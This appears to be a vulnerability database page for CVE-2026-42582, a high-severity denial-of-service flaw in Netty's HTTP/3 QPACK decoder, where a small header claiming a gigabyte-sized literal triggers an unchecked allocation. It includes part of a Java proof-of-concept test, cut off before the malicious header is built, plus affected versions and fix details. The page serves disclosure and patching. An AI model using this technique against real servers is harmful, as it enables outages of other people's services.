🛡️ CVE-2026-42582 — netty

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-770 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Netty HTTP/3 QPACK literal unbounded allocation

Summary

When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).

Details

When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].

PoC

The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].

```java

@Test

public void test() throws Exception {

EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());

try {

X509Bundle cert = new CertificateBuilder()

.subject("cn=localhost")

.setIsCertificateAuthority(true)

.buildSelfSigned();

QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())

.applicationProtocols(Http3.supportedApplicationProtocols())

.build();

AtomicReference<Throwable> serverErrors = new AtomicReference<>();

CountDownLatch serverConnectionClosed = new CountDownLatch(1);

ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()

.sslContext(serverContext)

.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)

.initialMaxData(10_000_000)

.initialMaxStreamDataBidirectionalLocal(1_000_000)

.initialMaxStreamDataBidirectionalRemote(1_000_000)

.initialMaxStreamsBidirectional(100)

.tokenHandler(InsecureQuicTokenHandler.INSTANCE)

.handler(new ChannelInitializer<QuicChannel>() {

@Override

protected void initChannel(QuicChannel ch) {

ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());

ch.pipeline().addLast(new Http3ServerConnectionHandler(

new ChannelInboundHandlerAdapter() {

@Override

public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {

if (cause instanceof DecoderException) {

serverErrors.set(cause.getCause());

} else {

serverErrors.set(cause);

}

}

}));

}

})

.build();

Channel server = new Bootstrap()

.group(group)

.channel(NioDatagramChannel.class)

.handler(serverCodec)

.bind("127.0.0.1", 0)

.sync()

.channel();

QuicSslContext clientContext = QuicSslContextBuilder.forClient()

.trustManager(InsecureTrustManagerFactory.INSTANCE)

.applicationProtocols(Http3.supportedApplicationProtocols())

.build();

ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()

.sslContext(clientContext)

.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)

.initialMaxData(10000000)

.initialMaxStreamDataBidirectionalLocal(1000000)

.build();

Channel client = new Bootstrap()

.group(group)

.channel(NioDatagramChannel.class)

.handler(clientCodec)

.bind(0)

.sync()

.channel();

QuicChannel quicChannel = QuicChannel.newBootstrap(client)

.handler(new Http3ClientConnectionHandler())

.remoteAddress(server.localAddress())

.localAddress(client.localAddress())

.connect()

.get();

QuicStreamChannel rawStream =

quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

ByteBuf header = Unpooled.buffer();

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

CVE-2026-42582 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.

Affected software

CVE-2026-42582 is recorded against 3 packages.

  • io.netty:netty-codec-http3 (from 4.2.0.Final up to 4.2.13.Final)
  • netty (from 4.2.0 up to 4.2.13)
  • unknown

Timeline and source

Published on 7 May 2026 and last revised on 30 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

CVE-2026-42582 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-770
Public Exploit ✅ No
Source NVD
Published 2026-05-07
Updated 2026-08-12
Modified 2026-06-30
Fix URL N/A

Affected Packages

Software From version Fixed in
io.netty:netty-codec-http3 4.2.0.Final 4.2.13.Final
netty 4.2.0 4.2.13
unknown

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